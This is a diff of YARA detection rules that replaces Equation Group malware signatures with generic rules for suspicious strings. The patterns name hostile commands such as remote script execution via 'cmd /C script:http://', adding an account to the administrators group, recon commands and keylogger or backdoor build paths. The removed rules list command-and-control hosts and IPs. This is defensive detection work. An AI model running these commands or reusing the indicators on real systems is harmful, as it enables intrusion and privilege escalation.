-		$x3 = "\\users\\Public\\finish" wide
-		$x4 = "lsaas.exe" fullword wide
-		$x5 = "RyukReadMe.txt" fullword wide
+		$s1 = "<Label x:Name=\"lblPort\" Content=\"Port:\"  HorizontalAlignment=\"Left\" Height=\"28\" Margin=\"10,0,0,0\" Width=\"35\"/>" fullword ascii
+		$s2 = "(([System.IconExtractor]::Extract(\"mmcndmgr.dll\", 126, $true)).ToBitMap()).Save($env:temp + \"\\Other.png\")    " fullword ascii
+		$s3 = "$bolValid = $ctx.ValidateCredentials($psCred.UserName,$psCred.GetNetworkCredential().Password)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="4a069c1abe5aca148d5a8fdabc26751e" or pe.imphash()=="dc5733c013378fa418d13773f5bfe6f1" or 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Apt_Equation_Exploitlib_Mutexes : FILE
+rule SIGNATURE_BASE_Ping_Command_In_EXE : FILE
 {
 	meta:
-		description = "Rule to detect Equation group's Exploitation library http://goo.gl/ivt8EW"
-		author = "Kaspersky Lab"
-		id = "d060bfd7-fb16-55d3-8a39-1197fdd8e759"
-		date = "2016-02-15"
-		modified = "2023-01-27"
-		reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L3-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4414dd4ca16d08b8edad26842640960ace434cdde769766fb1c38a1a249565fd"
-		score = 75
+		description = "Detects an suspicious ping command execution in an executable"
+		author = "Florian Roth (Nextron Systems)"
+		id = "937ab622-fbcf-5a31-a3ff-af2584484140"
+		date = "2016-11-03"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1ea24774471eade7b7c50f0eae520e2b30dbec693e162b83ab0074465f179372"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "prkMtx" wide
-		$a2 = "cnFormSyncExFBC" wide
-		$a3 = "cnFormVoidFBC" wide
-		$a4 = "cnFormSyncExFBC"
-		$a5 = "cnFormVoidFBC"
+		$x1 = "cmd /c ping 127.0.0.1 -n " ascii
 
 	condition:
-		uint16(0)==0x5A4D and any of ($a*)
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Apt_Equation_Equationlaser_Runtimeclasses
+rule SIGNATURE_BASE_Googlebot_Useragent : FILE
 {
 	meta:
-		description = "Rule to detect the EquationLaser malware"
-		author = "Kaspersky Lab"
-		id = "924c80ca-3607-57aa-85a2-b33ff52b0c1b"
-		date = "2015-02-16"
+		description = "Detects the GoogleBot UserAgent String in an Executable"
+		author = "Florian Roth (Nextron Systems)"
+		id = "621532ac-fc0b-5118-84b0-eac110693320"
+		date = "2017-01-27"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L40-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "663ea56f869f7099a92658df5bddd76d4e5ba8ac5dfc693733579682b9eee860"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L17-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa6cc3625d3740b91d7f1193cea0bdb621ae9445e42300123b01e322f715b976"
+		score = 65
 		quality = 85
-		tags = ""
-		version = "1.0"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "?a73957838_2@@YAXXZ"
-		$a2 = "?a84884@@YAXXZ"
-		$a3 = "?b823838_9839@@YAXXZ"
-		$a4 = "?e747383_94@@YAXXZ"
-		$a5 = "?e83834@@YAXXZ"
-		$a6 = "?e929348_827@@YAXXZ"
+		$x1 = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" fullword ascii
+		$fp1 = "McAfee, Inc." wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5a4d and filesize <500KB and $x1 and not 1 of ($fp*))
 }
-rule SIGNATURE_BASE_Apt_Equation_Cryptotable
+rule SIGNATURE_BASE_Gen_Net_Localgroup_Administrators_Add_Command : FILE
 {
 	meta:
-		description = "Rule to detect the crypto library used in Equation group malware"
-		author = "Kaspersky Lab"
-		id = "e7f313a3-8ef8-5363-898a-836a96aaa2ff"
-		date = "2015-02-16"
+		description = "Detects an executable that contains a command to add a user account to the local administrators group"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9f6095fc-6d9f-5814-b407-f320191fd912"
+		date = "2017-07-08"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L59-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e660fe423330334a1e3167d6a45e5ce2469fec276838618a7cb0340ec8172275"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L34-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "af4d7c8586022583e2019bbdc3638704e1d237b25e3c214f3bc2db64c58c8bd3"
 		score = 75
 		quality = 85
-		tags = ""
-		version = "1.0"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = {37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1}
+		$x1 = /net localgroup administrators [a-zA-Z0-9]{1,16} \/add/ nocase ascii
 
 	condition:
-		$a
+		( uint16(0)==0x5a4d and filesize <400KB and 1 of them )
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_Triplefantasy_1 : FILE
+rule SIGNATURE_BASE_Suspicious_Script_Running_From_HTTP
 {
 	meta:
-		description = "Equation Group Malware - TripleFantasy http://goo.gl/ivt8EW"
+		description = "Detects a suspicious "
 		author = "Florian Roth (Nextron Systems)"
-		id = "8d2adb3c-70e0-5768-bcfa-be64220064d9"
-		date = "2015-02-16"
+		id = "9ba84e9c-a32b-5f66-8d50-75344599cafc"
+		date = "2017-08-20"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L75-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b2b2cd9ca6f5864ef2ac6382b7b6374a9fb2cbe9"
-		logic_hash = "cfa3c1756c8dfb04e0a1590f76cad6d5b3878000d220c263d199322cf6a4f58a"
-		score = 75
+		reference = "https://www.hybrid-analysis.com/sample/a112274e109c5819d54aa8de89b0e707b243f4929a83e77439e3ff01ed218a35?environmentId=100"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L48-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49ead238b9153886ddbcfe37939628fd848283373e2807797d0849559ebecf6c"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "%SystemRoot%\\system32\\hnetcfg.dll" fullword wide
-		$s1 = "%WINDIR%\\System32\\ahlhcib.dll" fullword wide
-		$s2 = "%WINDIR%\\sjyntmv.dat" fullword wide
-		$s3 = "Global\\{8c38e4f3-591f-91cf-06a6-67b84d8a0102}" fullword wide
-		$s4 = "%WINDIR%\\System32\\owrwbsdi" fullword wide
-		$s5 = "Chrome" fullword wide
-		$s6 = "StringIndex" fullword ascii
-		$x1 = "itemagic.net@443" fullword wide
-		$x2 = "team4heat.net@443" fullword wide
-		$x5 = "62.216.152.69@443" fullword wide
-		$x6 = "84.233.205.37@443" fullword wide
-		$z1 = "www.microsoft.com@80" fullword wide
-		$z2 = "www.google.com@80" fullword wide
-		$z3 = "127.0.0.1:3128" fullword wide
+		$s1 = "cmd /C script:http://" ascii nocase
+		$s2 = "cmd /C script:https://" ascii nocase
+		$s3 = "cmd.exe /C script:http://" ascii nocase
+		$s4 = "cmd.exe /C script:https://" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300000 and (( all of ($s*) and all of ($z*)) or ( all of ($s*) and 1 of ($x*)))
+		1 of them
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_Doublefantasy_1 : FILE
+rule SIGNATURE_BASE_Reconcommands_In_File : FILE
 {
 	meta:
-		description = "Equation Group Malware - DoubleFantasy"
+		description = "Detects various recon commands in a single file"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f3c87adf-86c3-5d7c-9532-75341841869a"
-		date = "2015-02-16"
+		id = "62d59913-5dbd-512c-98ea-044bbb9ac2da"
+		date = "2017-12-11"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L109-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d09b4b6d3244ac382049736ca98d7de0c6787fa2"
-		logic_hash = "4471601300616b5442de95a3eb23c28563206f3423b57fe81007d005203a439f"
-		score = 75
+		reference = "https://twitter.com/haroonmeer/status/939099379834658817"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L66-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "73b4bcf76f42a6bf9c3d9dfe3f4e754ce2856e03a47cfd35388d47290209e65d"
+		score = 40
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$z1 = "msvcp5%d.dll" fullword ascii
-		$s0 = "actxprxy.GetProxyDllInfo" fullword ascii
-		$s3 = "actxprxy.DllGetClassObject" fullword ascii
-		$s5 = "actxprxy.DllRegisterServer" fullword ascii
-		$s6 = "actxprxy.DllUnregisterServer" fullword ascii
-		$x2 = "191H1a1" fullword ascii
-		$x3 = "November " fullword ascii
-		$x4 = "abababababab" fullword ascii
-		$x5 = "January " fullword ascii
-		$x6 = "October " fullword ascii
-		$x7 = "September " fullword ascii
+		$ = "tasklist"
+		$ = "net time"
+		$ = "systeminfo"
+		$ = "whoami"
+		$ = "nbtstat"
+		$ = "net start"
+		$ = "qprocess"
+		$ = "nslookup"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <350000 and (($z1) or ( all of ($s*) and 6 of ($x*)))
+		filesize <5KB and 4 of them
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_GROK_Keylogger : FILE
+rule SIGNATURE_BASE_VBS_Dropper_Script_Dec17_1 : FILE
 {
 	meta:
-		description = "Equation Group Malware - GROK keylogger"
+		description = "Detects a supicious VBS script that drops an executable"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1bae3e86-54e5-55e9-8bbd-aa9ec2a0fa2b"
-		date = "2015-02-16"
+		id = "60f23d32-0737-501f-bf1c-1ca32af62efc"
+		date = "2018-01-01"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L140-L172"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "50b8f125ed33233a545a1aac3c9d4bb6aa34b48f"
-		logic_hash = "502afd23b92e948a8fba33ccc4da2f4b1ec91bce5a24d153ffc545129fd8c9fa"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L88-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f3c55bd6bf382891263887e46a794329c78bff87b7685088911261fc3b3b133d"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "c:\\users\\rmgree5\\" ascii
-		$s1 = "msrtdv.sys" fullword wide
-		$x1 = "svrg.pdb" fullword ascii
-		$x2 = "W32pServiceTable" fullword ascii
-		$x3 = "In forma" fullword ascii
-		$x4 = "ReleaseF" fullword ascii
-		$x5 = "criptor" fullword ascii
-		$x6 = "astMutex" fullword ascii
-		$x7 = "ARASATAU" fullword ascii
-		$x8 = "R0omp4ar" fullword ascii
-		$z1 = "H.text" fullword ascii
-		$z2 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" wide
-		$z4 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\Environment" wide fullword
+		$s1 = "TVpTAQEAAAAEAA"
+		$s2 = "TVoAAAAAAAAAAA"
+		$s3 = "TVqAAAEAAAAEAB"
+		$s4 = "TVpQAAIAAAAEAA"
+		$s5 = "TVqQAAMAAAAEAA"
+		$a1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250000 and ($s0 or ($s1 and 6 of ($x*)) or (6 of ($x*) and all of ($z*)))
+		filesize <600KB and $a1 and 1 of ($s*)
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_Greyfishinstaller
+rule SIGNATURE_BASE_SUSP_PDB_Strings_Keylogger_Backdoor : HIGHVOL FILE
 {
 	meta:
-		description = "Equation Group Malware - Grey Fish"
+		description = "Detects PDB strings used in backdoors or keyloggers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ea16b51c-755e-5f08-a209-d21a1ed30fcf"
-		date = "2015-02-16"
+		id = "190daadb-0de6-5665-a241-95c374dbda47"
+		date = "2018-03-23"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L174-L189"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d15d1581f32f36542f3e9fb4b1fc84d2a6ba35"
-		logic_hash = "dae6963f3210503c6c86c818a9cd6f309ba7876f14ca42966097023d474a2366"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L109-L130"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9a842ff8cd8be98a2e37a81706a9c594e8bf1bcc6bd3cedfe4747cd52f6044f5"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "HIGHVOL, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "DOGROUND.exe" fullword wide
-		$s1 = "Windows Configuration Services" fullword wide
-		$s2 = "GetMappedFilenameW" fullword ascii
+		$ = "\\Release\\PrivilegeEscalation"
+		$ = "\\Release\\KeyLogger"
+		$ = "\\Debug\\PrivilegeEscalation"
+		$ = "\\Debug\\KeyLogger"
+		$ = "Backdoor\\KeyLogger_"
+		$ = "\\ShellCode\\Debug\\"
+		$ = "\\ShellCode\\Release\\"
+		$ = "\\New Backdoor"
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_Equationdruginstaller : FILE
+rule SIGNATURE_BASE_SUSP_Microsoft_Copyright_String_Anomaly_2 : FILE
 {
 	meta:
-		description = "Equation Group Malware - EquationDrug installer LUTEUSOBSTOS"
+		description = "Detects Floxif Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fa549e6e-f0d8-55ea-9ec9-c8ec53b55dec"
-		date = "2015-02-16"
+		id = "3257aff0-b923-5e56-b67c-fa676341a102"
+		date = "2018-05-11"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L191-L213"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "61fab1b8451275c7fd580895d9c68e152ff46417"
-		logic_hash = "815ed47a53bbc5f6c3fec3464336863028e804bde4681526ecac5de0cfff21b4"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L132-L146"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "60bc5d8d0853f474b81d2274a65977a12a481e4b669b38ae47a325eeb60d2735"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085"
 
 	strings:
-		$s0 = "\\system32\\win32k.sys" wide
-		$s1 = "ALL_FIREWALLS" fullword ascii
-		$x1 = "@prkMtx" fullword wide
-		$x2 = "STATIC" fullword wide
-		$x3 = "windir" fullword wide
-		$x4 = "cnFormVoidFBC" fullword wide
-		$x5 = "CcnFormSyncExFBC" fullword wide
-		$x6 = "WinStaObj" fullword wide
-		$x7 = "BINRES" fullword wide
+		$s1 = "Microsoft(C) Windows(C) Operating System" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500000 and all of ($s*) and 5 of ($x*)
+		uint16(0)==0x5a4d and filesize <200KB and 1 of them
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_Equationlaserinstaller : FILE
+rule SIGNATURE_BASE_SUSP_LNK_File_Appdata_Roaming : FILE
 {
 	meta:
-		description = "Equation Group Malware - EquationLaser Installer"
+		description = "Detects a suspicious link file that references to AppData Roaming"
 		author = "Florian Roth (Nextron Systems)"
-		id = "15fd5668-36f2-556c-8150-225d3cbd4121"
-		date = "2015-02-16"
+		id = "d905e58f-ae2e-5dc2-b206-d0435b023df0"
+		date = "2018-05-16"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L215-L236"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5e1f56c1e57fbff96d4999db1fd6dd0f7d8221df"
-		logic_hash = "6f8ba26f5efaa7ec422171862e1b645472387395f0be3a4625d58de5f0584c0b"
-		score = 80
+		reference = "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L148-L168"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e5c78d3fe3fcdbfb097f833fbb1e15ad1f79e63b330eaba754d8b5296b5165a"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Failed to get Windows version" fullword ascii
-		$s1 = "lsasrv32.dll and lsass.exe" fullword wide
-		$s2 = "\\\\%s\\mailslot\\%s" fullword ascii
-		$s3 = "%d-%d-%d %d:%d:%d Z" fullword ascii
-		$s4 = "lsasrv32.dll" fullword ascii
-		$s6 = "%s %02x %s" fullword ascii
-		$s7 = "VIEWERS" fullword ascii
-		$s8 = "5.2.3790.220 (srv03_gdr.040918-1552)" fullword wide
+		$s2 = "AppData" fullword wide
+		$s3 = "Roaming" fullword wide
+		$s4 = { 00 2E 00 65 00 78 00 65 00 2E 00 43 00 3A 00 5C
+              00 55 00 73 00 65 00 72 00 73 00 5C }
 
 	condition:
-		( uint16(0)==0x5a4d) and filesize <250000 and 6 of ($s*)
+		uint16(0)==0x004c and uint32(4)==0x00021401 and ( filesize <1KB and all of them )
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_Fannyworm : FILE
+rule SIGNATURE_BASE_SUSP_LNK_File_Pathtraversal : FILE
 {
 	meta:
-		description = "Equation Group Malware - Fanny Worm"
+		description = "Detects a suspicious link file that references a file multiple folders lower than the link itself"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1b8d1ce6-8926-5aa3-8fba-6a8451d66a7d"
-		date = "2015-02-16"
-		modified = "2023-01-06"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L238-L277"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1f0ae54ac3f10d533013f74f48849de4e65817a7"
-		logic_hash = "57e938ba1e53eeb99491547f53086eae3fc4d50bc5612e1b5ae6da6b029ac49e"
-		score = 80
+		id = "f4f6709f-9c4d-5f0c-9826-97444d282adc"
+		date = "2018-05-16"
+		modified = "2023-12-05"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L170-L186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9935c454518abe7fd4ec4f09e36e4200ec7c9f3b3ad004e9b49d60c08f508236"
+		score = 40
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "x:\\fanny.bmp" fullword ascii
-		$s2 = "32.exe" fullword ascii
-		$s3 = "d:\\fanny.bmp" fullword ascii
-		$x1 = "c:\\windows\\system32\\kernel32.dll" fullword ascii
-		$x2 = "System\\CurrentControlSet\\Services\\USBSTOR\\Enum" fullword ascii
-		$x3 = "System\\CurrentControlSet\\Services\\PartMgr\\Enum" fullword ascii
-		$x4 = "\\system32\\win32k.sys" wide
-		$x5 = "\\AGENTCPD.DLL" ascii
-		$x6 = "agentcpd.dll" fullword ascii
-		$x7 = "PADupdate.exe" fullword ascii
-		$x8 = "dll_installer.dll" fullword ascii
-		$x9 = "\\restore\\" ascii
-		$x10 = "Q:\\__?__.lnk" fullword ascii
-		$x11 = "Software\\Microsoft\\MSNetMng" fullword ascii
-		$x12 = "\\shelldoc.dll" ascii
-		$x13 = "file size = %d bytes" fullword ascii
-		$x14 = "\\MSAgent" ascii
-		$x15 = "Global\\RPCMutex" fullword ascii
-		$x16 = "Global\\DirectMarketing" fullword ascii
+		$s1 = "..\\..\\..\\..\\..\\"
 
 	condition:
-		( uint16(0)==0x5a4d) and filesize <300000 and ((2 of ($s*)) or (1 of ($s*) and 6 of ($x*)) or (14 of ($x*)))
+		uint16(0)==0x004c and uint32(4)==0x00021401 and ( filesize <1KB and all of them )
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_HDD_Reprogramming_Module : FILE
+rule SIGNATURE_BASE_SUSP_Script_Obfuscation_Char_Concat
 {
 	meta:
-		description = "Equation Group Malware - HDD reprogramming module"
+		description = "Detects strings found in sample from CN group repo leak in October 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "09ffe270-39e7-5225-b4a9-1c8d312a09c1"
-		date = "2015-02-16"
+		id = "6d3bfdfd-ef8f-5740-ac1f-5835c7ce0f43"
+		date = "2018-10-04"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L279-L297"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
-		logic_hash = "65800e5f122dce1dd4473bc8cebce0f9258b38d570118b154dbaf6939b68f925"
-		score = 75
+		reference = "https://twitter.com/JaromirHorejsi/status/1047084277920411648"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L188-L200"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "28b648e0e1c22fefa49a937f40bd4ed09c5d3894ff059979bad69e8bc98fcac2"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		hash1 = "b30cc10e915a23c7273f0838297e0d2c9f4fc0ac1f56100eef6479c9d036c12b"
 
 	strings:
-		$s0 = "nls_933w.dll" fullword ascii
-		$s1 = "BINARY" fullword wide
-		$s2 = "KfAcquireSpinLock" fullword ascii
-		$s3 = "HAL.dll" fullword ascii
-		$s4 = "READ_REGISTER_UCHAR" fullword ascii
+		$s1 = "\"c\" & \"r\" & \"i\" & \"p\" & \"t\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300000 and all of ($s*)
+		1 of them
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_EOP_Package : FILE
+rule SIGNATURE_BASE_SUSP_Powershell_IEX_Download_Combo
 {
 	meta:
-		description = "Equation Group Malware - EoP package and malware launcher"
+		description = "Detects strings found in sample from CN group repo leak in October 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2eb97873-a415-57be-a8fb-70ef86a99c9b"
-		date = "2015-02-16"
+		id = "1dfedcb0-345c-548c-85ac-3c1e78bfd9e2"
+		date = "2018-10-04"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L299-L318"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2bd1b1f5b4384ce802d5d32d8c8fd3d1dc04b962"
-		logic_hash = "abbc562b8e822422ae1852a5675a680e797a6af0be5581a8482785bd0c1ad1bf"
-		score = 75
+		reference = "https://twitter.com/JaromirHorejsi/status/1047084277920411648"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L202-L218"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a1507859354e0e0d9284befcf777c4d3883496eb96524a246a1df4f3a247aa9"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
